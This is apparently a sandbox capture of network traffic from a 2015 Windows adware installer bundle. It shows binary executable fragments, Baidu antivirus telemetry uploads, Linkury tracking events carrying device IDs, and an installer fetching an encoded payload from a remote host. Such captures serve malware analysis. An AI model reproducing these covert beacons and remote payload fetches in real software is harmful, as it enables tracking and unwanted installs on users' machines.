Accept-Ranges: bytes

ETag: "1435737521"

Last-Modified: Wed, 01 Jul 2015 07:58:41 GMT

Cache-Control: max-age=86400

Content-Length: 24837096

Content-Range: bytes 0-24837095/24837096

Content-Type: application/x-msdownload

X-HW: 1448348612.dop006.fr7.t,1448348611.cds026.fr7.pr

MZ......................@.....z.......................................
..!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8
...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8.......
.PE..L.....GO.................t...|...B...:............@..............
............0.......R{...@.................................p..........
.PI............z.8....`...............................................
........................................text....s.......t.............
..... ..`.rdata... .......,...x..............@..@.data.... ...........
...............@....ndata...................................rsrc...PI.
......J..................@..@.reloc..4...........................@..B.
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
......G..H.P.u..u..u.....@..K...SV.5..G.W.E.P.u.....@..e...E..E.P.u...
..@..}..e....D.@........FR..VV..U... M..........M........E...FQ.....NU
..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.
P.u.....@..u....E..9}...n....~X.te.v4..L.@..E...tU.}.j.W.E......E.....
..P.@..vXW..T.@..u..5X.@.W..h ....E..E.Pj.h.jG.W....@..u.W...u....E.P.
u.....@._^3.[.....L$....G...i. @...T.....tUVW.q.3.;5..G.sD..i. @...D..
S.....t.G.....t...O..t .....u...3....3...F. @..;5..G.r.[_^...U..QQ

<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 140

Host: f.eg.bav.baidu.com

e=

>>..Bm .qe..C.....i..l.....<.N....G.2.....;e....u3.y.V.3......vW.=M.P].3.@.,.I}............._..1m
.$c.Y....9q..-..........
k.. ..<=W.:.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w....).R..k&@5...~.SC..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.x8...9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........X.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /cloud-hips-down.cgi/static/midhf.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com

Range: bytes=0-2999


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Nov 2015 07:04:09 GMT

Content-Type: application/octet-stream

Content-Length: 3000

Last-Modified: Mon, 06 Jul 2015 09:42:01 GMT

Connection: Close

ETag: "559a4d69-bb8"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/midhf.dat

Content-Range: bytes 0-2999/3000
J.'.xc..|.C.B.../.O...y]D.....o...=..g.w...9..P..\.U.p.U/......)/.^..8
..fJ..(..i3V.U.,Z...R...w. ....v_...@....g..54=..c*I(.n.>{.N.Y!.'.2
.......,IH...`{a......zD.X.C...N3<.=...T...c...]<...}.Z >...9
..U.U..XF.O..!.iO]...rJ4{...CfB...s,2......g7.M3..>^.*.>..O.$RM-
....8...;..;..U....'..0..G.I...../...E..L...co...|...B.l....r{.r.ty5*.
)..o.....1q..^.s.C;l......R..T.X.Q.Y....J.. .R...acp.L......6m.....4..
../.....6.a..t...p....[..l.N...kX.7..9.S....<j...go=V.P....f|%C..R.
3.y.....gK..............V.VE.@.8b...{.I........^..P4x...........\T.(~.
.j ..\........`...2t.Y7J./T..D./.lv...mB...2.......Pv..W..Un..%.T.fhW&
gt;.m:Y.r..=...GM<...s..|j5.......I?..)...h.!..%8K....yvg&......%..
...@.zcA.g.6f.;E.H ..;#...4BK..;.i6.r6.;........FA/^...I..-..&"D3.f..8
m.h...'.......G...Tj.^.-....u5......7.(......w..Q.6..~UR`..q....(Nl...
...b'...-G.. ]...p.O..l..3.:=.B.VM8."..]."0...*..y{.....F(.Mz?.#h.Q...
%..e#.NH..*w.....r..(.#u.|v..`.2q.<..\<.....{.Lkl...V.~....E..zL
.yT..I.W.k9..!..6R..LBX..E(.$.9{..x}.....`...........s.....j..x....../
o...d....K..bA..ku.d%.-..-..|........8S.}OP.^=c.f......e:......}:.....
s..........y..wP....ZG.....(.......f.H..=;...t.'.Y..@....H.T3.e.Y.....
.SX....o.:.......u.PK0Ay.V.D.O.w..t....m.Ts .O.c.........uZk......C..)
L@..=.. M...et..?IA.]u.f.f.r......:h..4..0..C...[...w.d..m{NMN..S..8.&
g.E.........-..S..\-.L...Ownh.......3W...-.[.../...... ..E...vI....'..
..j.,(r.Y..X.6Sb.5B.r..F.;.K.......N.......l...A...n.BQ..U'...p..y.:V.
i.....b...D.U....|.$1.Q.M.K....~4.qU.g...'....U......<$.Ll#..K.<<< skipped >>>

POST /cgi-bin-py/dump_log_query.cgi HTTP/1.1

User-Agent: Mozilla/5.0

Host: sync.eg.bav.baidu.com

Content-Length: 70

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

product=bav;guid=61807c4bafc26bb2ed98e3e60f587cd6;version=5.4.3.147185
HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:11 GMT

Server: Apache

Content-Length: 5

Connection: Keep-Alive

Content-Type: text/html

falseHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:04:11 GMT..Server: Apa
che..Content-Length: 5..Connection: Keep-Alive..Content-Type: text/htm
l..false..

POST /md5_check.cgi HTTP/1.0

Content-Length: 121

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0C.n.\~.<..>......M.:.`;a....
.^..;.K..^#N#.qq.)py
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.........".i.....u?..d.T.0...pq.............HW..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 176

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..Y..

W.S.....O.{8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Z.&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 98

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 339

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .(q2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USZ.Imali|br|IBD|Bundlex.....

...q.......\9..Cs.jT.....V.g[.....6.h.Y9$J..z.....9..'...c..*.......
.8.6!...?...

....j.......hzD(B.V.s.e<.. <......(....UF..N....

. .~..}..=d.BM.v5...u........o.h@..='.... S.^|.#. ....|......?8<.. ...n^?#.7.L`.[...g..uNZx.e....m!
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /md5_check.cgi HTTP/1.0

Content-Length: 171

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.P.:.1..~.<.=0.....&.yo]^..eE"!l.x.J....;..P..%..b..3Ch..,V:..O2....`$.....^.m.A.v..1.9.........;tV
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 69

Connection: Close
......(........8.,f.$.. ..Q<...w.jF..X.8[..I.....J....{S.}..m...P..
.e..

POST /md5_check.cgi HTTP/1.0

Content-Length: 130

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0...).Xd.R..P..V>.....k0k.*.B,...=..'......20.X.....}...0d.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................2:.FK0=Ysn..Nj.....r.... ...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.a..'

c',=.'Ti.....J..L..O^QQ.z.....z....U...I6...m.e....U.W.....5\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2....'.`-."{_%-..$}.f...X.$.......Yi.l..

POST /queryfeature.do HTTP/1.0

Content-Length: 135

Host: f.eg.bav.baidu.com

e=

s(.]s7...haxk...8qZw=..B.A...5..m..8..=.J....z.)....1..5.jd..I.it.

.!J..{.<.......1..vf..<.......B/..#..mg..~.....y.}...y.D......
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w....U..|.`K'..M.~.SC..

POST /md5_check.cgi HTTP/1.0

Content-Length: 120

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.hC.%y-..9..N......?.=..Oa.....Y..4.)...KR#.u..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

........."........9....U.5...ps.............HW..

GET /V29/amipb.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.amoninst.com/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn1.downloadjelly.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 68268

Connection: keep-alive

Date: Thu, 12 Nov 2015 11:04:29 GMT

Last-Modified: Thu, 12 Nov 2015 11:01:47 GMT

ETag: "e53d38122edba6bb252f0ba6d213ed0b"

x-amz-storage-class: REDUCED_REDUNDANCY

Accept-Ranges: bytes

Server: AmazonS3

Age: 71237

X-Cache: Hit from cloudfront

Via: 1.1 9c639fa8cc4e8890b24d42b79b84df74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AMy77SaxKadENtrRS-U82NbuhbXxfz8eysdt4kggY_VooHTMtmIHbw==
..//<!-- ../*    Progress bar   */..var g_AmiPbs = new Array();..va
r g_AmiPbsEx = new Array();..var g_interval = 0;..var g_initComp = 0;.
.var g_possibleComps = [];..var g_reportedComps = [];..var g_removedCo
mps = [];..function LogMessage(message) {..    try {..        g_ami.Lo
g(message);..    }..    catch (excpt) {..    }..}..function IsDeclined
(name) {..    var declined = 0;..    for (var i = 0; i < g_removedC
omps.length; i  ) {..        if (g_removedComps[i] == name) {..       
     declined = 1;..            break;..        }..    }..    return d
eclined;..}..function UpdateSkipStatus(sn) {..    if (g_testa && !Arra
yContains(g_reportedComps, sn) && !ArrayContains(g_notest, sn) && !Arr
ayContains(g_notest1, sn)) {..        if (g_testa.constructor != Array
 || ArrayContains(g_testa, sn)) {..            g_ami.WriteProfileStrin
g(g_testf, '', sn, 'S');..            g_reportedComps.push(sn);..     
   }..    }..}..function ShortNameFromName(name) {..    for (c = 0; c 
< g_comps.length; c  ) {..        if (g_comps[c].name == name) {.. 
           return g_comps[c].sn;..        }..    }..    return name;..
}..function UpdateComponentsStatus() {..    LogMessage('UpdateComponen
tsStatus function started');..    for (var j = 0; j < g_possibleCom
ps.length; j  ) {..        if (g_possibleComps[j].sn == 'updater') {..
            continue;..        }..        if (g_possibleComps[j].sel !
== 2 && !IsDeclined(g_possibleComps[j].sn) && !IsDeclined(g_possibleCo
mps[j].name)) {..            var k = 0;..            try {..      <<< skipped >>>

POST /md5_check.cgi HTTP/1.0

Content-Length: 172

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0...j....Y....x.C.V_0
..y...'...$.~...,...(..
.~..%p.F..D..`c40\.~.

..z....OR.AJ.f...[...E......!_.t
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 86

Connection: Close
......c/...R.TDx.I0.....v..).....YXs6..@ ........=...]...]e...L....k..
kc..=.....,.aT....

POST /queryfeature.do HTTP/1.0

Content-Length: 128

Host: f.eg.bav.baidu.com

e=

.h...,.0.XiBQ.[W{'...5...<..r..........[....w........zu. .i.cz.-....l.m.....aO.....E.....

-yo....e......~.....>..81@/5?_9n#
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=2...j H.!.a..e..27.%..q.......

POST /StatisticsService.svc/V1/SOAP HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)

Content-Type: text/xml; charset=utf-8

SOAPAction: "hXXp://VVV.linkury.com/WebServicesBumbleB/2012/09/StatisticsService/StatisticsService/LogEvent"

Host: svc-stats.linkury.com

Content-Length: 1021

Expect: 100-continue

Connection: Keep-Alive


HTTP/1.1 100 Continue
....



<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:so
ap="hXXp://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="hXXp://VVV.w
3.org/2001/XMLSchema-instance" xmlns:xsd="hXXp://VVV.w3.org/2001/XMLSc
hema"><soap:Body><LogEvent xmlns="hXXp://VVV.linkury.com/W
ebServicesBumbleB/2012/09/StatisticsService"><request><Sta
tisicsEventsList xmlns="hXXp://VVV.linkury.com/WebServicesBumbleB/2012
/09/StatisticsEventRequest"><StatisticsEventV1 xmlns="hXXp://sch
emas.datacontract.org/2004/07/BusinessEntitiesBumbleB"><BarcodeI
d>149125</BarcodeId><CountryTwoLetterName>UA</Countr
yTwoLetterName><Data1>9537967f-fa02-b8ef-6d79-aec66302ce7c<
;/Data1><Data2 xsi:nil="true" /><Data3 xsi:nil="true" />
;<DeviceId>C28B7D95-2978-BD4C-036F-0CC89C089D</DeviceId>&l
t;EntityName>00000000-0021-0123-000789000000</EntityName><
EntityType>Proxy</EntityType><EventCategory>Log</Eve
ntCategory><EventTypeName>FirstRun</EventTypeName><T
ag /><TestGroup xsi:nil="true" /></StatisticsEventV1>&l
t;/StatisicsEventsList></request></LogEvent></soap:B
ody></soap:Envelope>
HTTP/1.1 202 Accepted

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:36 GMT

Content-Length: 0

HTTP/1.1 202 Accepted..Cache-Control: private..Server: Microsoft-IIS/7
.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 
Nov 2015 07:03:36 GMT..Content-Length: 0......

POST /StatisticsService.svc/V1/SOAP HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)

Content-Type: text/xml; charset=utf-8

SOAPAction: "hXXp://VVV.linkury.com/WebServicesBumbleB/2012/09/StatisticsService/StatisticsService/LogEvent"

Host: svc-stats.linkury.com

Content-Length: 992

Expect: 100-continue


HTTP/1.1 100 Continue
....



<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:so
ap="hXXp://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="hXXp://VVV.w
3.org/2001/XMLSchema-instance" xmlns:xsd="hXXp://VVV.w3.org/2001/XMLSc
hema"><soap:Body><LogEvent xmlns="hXXp://VVV.linkury.com/W
ebServicesBumbleB/2012/09/StatisticsService"><request><Sta
tisicsEventsList xmlns="hXXp://VVV.linkury.com/WebServicesBumbleB/2012
/09/StatisticsEventRequest"><StatisticsEventV1 xmlns="hXXp://sch
emas.datacontract.org/2004/07/BusinessEntitiesBumbleB"><BarcodeI
d>149125</BarcodeId><CountryTwoLetterName>UA</Countr
yTwoLetterName><Data1>On, On</Data1><Data2 xsi:nil="
true" /><Data3 xsi:nil="true" /><DeviceId>C28B7D95-2978
-BD4C-036F-0CC89C089D</DeviceId><EntityName>00000000-0021-
0123-000789000000</EntityName><EntityType>Proxy</Entity
Type><EventCategory>Log</EventCategory><EventTypeNam
e>KeepAlive</EventTypeName><Tag /><TestGroup xsi:nil
="true" /></StatisticsEventV1></StatisicsEventsList><
;/request></LogEvent></soap:Body></soap:Envelope>
HTTP/1.1 202 Accepted

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:37 GMT

Content-Length: 0

HTTP/1.1 202 Accepted..Cache-Control: private..Server: Microsoft-IIS/7
.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 
Nov 2015 07:03:37 GMT..Content-Length: 0..

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.ke.b|u..................C.o&.,..bHg.%...6.M.i..6uh
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................DM.0@22Y....B.c.i....... ...

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 76

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 205

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(T2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USx..v..

t.T.....l...@....#VR,.Y.%...Y..Y.....W..1C\.p..6\#.#..dl;..,.S.C.&...@q.b.3)i...o*.=..\jm.#2..C.>...d..{..v..K.....r

y5a
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

HEAD /cloud-hips-down.cgi/static/hipstips.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:08 GMT

Content-Type: application/octet-stream

Content-Length: 30079

Last-Modified: Wed, 08 Jul 2015 03:10:01 GMT

Connection: Close

ETag: "559c9489-757f"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/hipstips.dat

Accept-Ranges: bytes

GET /AddTrustExternalCARoot.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.usertrust.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:03:30 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 494

Last-Modified: Mon, 23 Nov 2015 08:05:23 GMT

Connection: close

ETag: "5652c8c3-1ee"

X-CCACDN-Mirror-ID: h6edcacrl7

Cache-Control: max-age=3600

Accept-Ranges: bytes
0...0.....0...*.H........0o1.0...U....SE1.0...U....AddTrust AB1&0$..U.
...AddTrust External TTP Network1"0 ..U....AddTrust External CA Root..
151123080523Z..151127080523Z.00.0...U.#..0......z4.&...&T....$.T.0...U
.......G0...*.H...............J..d...YT..H$......&.Y.po-(.......A8....
..N.A>....../...v'?..NI.'@[`..r1.....u..a..E..O.G<.a.D...=.H"@.K
..`f../..!=......5c/.7..8.G i..(.;....?...U1C...>.{..e....!.\.9~.,.
..=.g.o.?...H`..O)......Z ..}.'..M....a.&.B)..5.../..L.%.H...B....@5..
%..&......wK...

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.ke.b|u..................C.o&.,..bHg.%...6.M.i..6uh
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................DM.0@22Y....B.c.i....... ...

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 174

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..\..

Z.S.....R..n.xvA..<...5.....WQ...nh.t..7N...HuplL.HQv.'*..H.A....k.C..4.*....{....|.....f.P:v*.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /queryfeature.do HTTP/1.0

Content-Length: 130

Host: f.eg.bav.baidu.com

e=

4.6g[...;f.n.^}e...n9&m..Dj

 3..G.{...#..8.......s.<..;.#eH....?....5#...l.p.K..
S...k4.........H....C......!b;.z.\D3W.r'....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w.,,~..?.P....../~.SC..

POST /cgi-bin/load_filter.cgi HTTP/1.1

Accept: */*

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: 5.4.3.147185

Host: up.eg.bav.baidu.com

Content-Length: 84

Connection: Keep-Alive

Pragma: no-cache

g=61807c4bafc26bb2ed98e3e60f587cd6&m=00000000000000000000000000000000&v=5.4.3.147185
HTTP/1.1 201 OK

Content-Length: 386

Connection: Keep-Alive

96D22AB06921B3E49AFB2CE8870F0B32..2664a15663398d90bfba419ddd66b76b|040
e19b9799a0e7dc34cac0f4faa16e2|463c8a7593a8a79078cb5c119424e62a..0|6bf7
b03817f34b4d98093c4919108f70..0|93725b9fc52918f65c42dd16492d7d98..1|93
725b9fc52918f65c42dd16492d7d98..0|48c93d8c24fa2ecaaa50429f93055e71..2|
4951a865fa68d758b42a9cef50ae168a..2|28a0f5559724982b3db8175bb71e8dda..
2|7850c2075ea511b7ba2b6619bcee59a7....

GET / HTTP/1.1

Host: VVV.google.com


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=yAtUVpbsMKm46ASt_rOoCA

Content-Length: 262

Date: Tue, 24 Nov 2015 07:03:36 GMT

Server: GFE/2.0
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=yAtUVpbsMKm4
6ASt_rOoCA">here</A>...</BODY></HTML>....

GET /cloud-hips-down.cgi/static/rl.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com

Range: bytes=0-2464


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Nov 2015 07:04:10 GMT

Content-Type: application/octet-stream

Content-Length: 2465

Last-Modified: Thu, 16 Apr 2015 09:58:03 GMT

Connection: Close

ETag: "552f87ab-9a1"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/rl.dat

Content-Range: bytes 0-2464/2465
J.....^.tC.H...%f..hG.O......&..u;r.m.....].P{........I...6.)A)... 1.x
G.....ip.WoBe.-...p..y.sKO.Y0..y -=I...E.'..7.7F....@......>....j.%
......^i>.:.^..)RyC....v.y..k.g...V..B......g.........lmn|.k.......
t.rF&..~.....!..54..:....".....?.W.....3......jXBk......D "....s*.g...
...J..V.."g...3%.x..3$......PlX...h...).?.,......U.N:2.....oY.N......&
lt;......>.S6Pf.GE..h......{.,|.."..........kT.;.pE...q{...Y-\J....
.{...>..|7. .\...!......!.^%XV/.....<q.A..,... .{(......b.v.....
........F<.'`.Ws.z..*_.~~.....t..j..XgkV~.Ns=....v..Nx../.8.o.y..8.
@...,...>U.f..................n../.[.Q.f.!.vpIe.!.g....[.&.Y.{s>
...n......L.'w.!.&.d.9../lR..e..H..>....~..]4u-.A,.....^.D.>,@..
4.Y..K..,.Y..!...3.5u.....0 ....J sR.u..eB..F..Ae...!..dg..0.g...R5.r.
.;L.._..[.1.e..`...........$.......:.Q.1...C..!&..{.6[|..E4.......}...
^..t...F.m..s....!.Rn.t..H.r.'>....g.&:..V...Q...ygl.<Q.g;...?.4
.^.<A...c..W......E..o3.k->!v.....0.M...NQ1..pV.L.h2IP. .H]..B.N
hy.x..*.....jt.5..29..c3...S.3~.T......$8.....k...W..}m.....ky.7......
s.......rF..........@#...p...D.J../...j,,S...,sU....c"|....LX.M.g#.Vb.
3w(#.-...@.Bs.)]......H...,.....;.PU...q:.........D..:.!!.bj..:!.\...)
.. .o~.A...s.QP..[?j........... .C:.@...].......@..u..P..C.3..$.j.....
1H.Z.........<?..a.zB.*..{...4.\....nx.nI.Fq4.^..........T:....l0..
............Y.....Fn..,.mg..1....)..C...pM..R.8.n.SL@./.%G.!G...M3Qj.y
.C.~..........lhO....<..B.k(.J.:`0\.XpbFd.%.J{."...........{....E..
..ld,......h..:,.k........x...^.7N....s...iR..7.86..6..vn..y..i...<<< skipped >>>

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.x8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y0&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /mg?alpha=fHB9C3BBTzRdMTJMUiF/fTQuBnB8Nn96dgMZdkBsDiY8GwAqeWB5HApEfAVVKBRlVwgIdRAPR2MCLCQQb3hHBgIEJ2FEeyxtQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.plainsavingscenter.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Nov 2015 07:03:22 GMT

Content-Length: 2004

Sr9GgtQVgzPQnn3Ee/6LXecCitsfqBmVny6IENLCROYGhpVWgxPmsFqFIfj4BLVRl/kOkT
qKhDXQdLq3MoZW8edm/1HAlmi8DsPDaeNTuZJkzwOGyhrjQKuXUL0wlZ0MmFjewwPRAKXm
Dagk1dhDu0mJ7RaVNJLDHvlCjYYavlzT/mHoFpSMXr8Mm5Ng4HK/g3byBIrOCclLq4dnw0
6WmRCtT4jDRoASs UKqUiO00f1AIK0WJxg0cUSqx2agAq/d57pNuRQjNgS40yVxX//Zf7c
Gts7sO9OpgG hXiJVsraL6dZzY9blgSq6xS NujlVPYQgusJ2VXfyA/9SJzQU/h80/5h6H
rPj07xWtnEauMs/oNA4xWAzAnuda IeYRWypYJskaIw0mcBKfvNqwe3cND2huC xHbItbH
CvpCwtAWqW7F/WbpFpSESr8T0p0k6ni9hUyxSpfKGe9e4p8uiBDSwkXvBoaVVoMT5rBahS
Hn4gS1UZf5DpE6ioQ18FSHnAu/eNzzeP5o8rFfoQnZ1nWtLP6QWf8FhvYN50bs3mKUGJzU
XrtS1IRMhxOg3BmhH9GXHPcGi/RW237f1AXsaY GFqxv8fpx7l M2E2yDMTUKq1pr4JP/A
KHmlbsQqKXac1WlYAdvV6G21uBA6H3VLZI3dEEo0rVtFiNYcDDRLMFprksjSiesGTsQMbA
EfEzzsJv4XS5lFbyHJDkMMtWuotelBqD2lD8XMWNWpY4pecd71DawEr1X8X9Aol909ID7X
GPngq/KIj8YeFYgsBNvBLU1EjudLWQXdAYhtsHqBmohWCSEdzaFa1O045dl1T 7BmhGdGZ
BPwLhvsO2yLE1BPsWsKJXbNukKgtvhiMllKjBZWLJMdLj7Eav1KT2RjiAfTGX5gHmZYIu1
jKgEOAKpjaCqIJ8MBL6VHLugyYdMXDKOhKi9BFtH/e/jivUdaSTrAU0tVQ7mypgxqpHpbU
AKYBqIt ghG mQi3XMGiR5YVr6hCqwvYxkO1UY7rHo53wsJEs0GPngy/JpD3bOxX2sARpx
LC1Huje/6PXLFK2oxAqFe3lGnDTtKwN419hs0Ngxew4lr3SPncResclPccjUTs8Q/nQ4GF
DIZW8edm/1HAln22EsTYaeFcgLNW h6QzA3mT5K4TY8AmbQTuU3Bkw3fVLLrFLgP tRL/F
Hd9g VdJyEA/FXi5ELv27k83j4UYzYRaYM250k6W uhV3dEZfRGu9gpoFvilbKnh2yWcHN
DZoFoP0Xvw6Wj0D4H5T9Vtt9yMcF/QXUhg2vb8  b69dysAR4lCFnST7eayDGqlSq/M/3Q
HixnyAAJjaRvxnzYJdnAWr7AyRNuPcSP0ckOsmpVvF1BTsSZqkGqh52/160Wj7jEK9E8PQ
auNcgLFR4RWQ0A34SOzILpcVnI0ZkEvJhA3JGLHmFOFI0c1W/BCT/R6vedzTA6sdgIcTti
aQ9Hv/V8usSqcJwdRF52W/jRqpFoLUH 8P7I1/hQOfihj8EMKAQ4AT6KgdtQvXwQSj

<<< skipped >>>

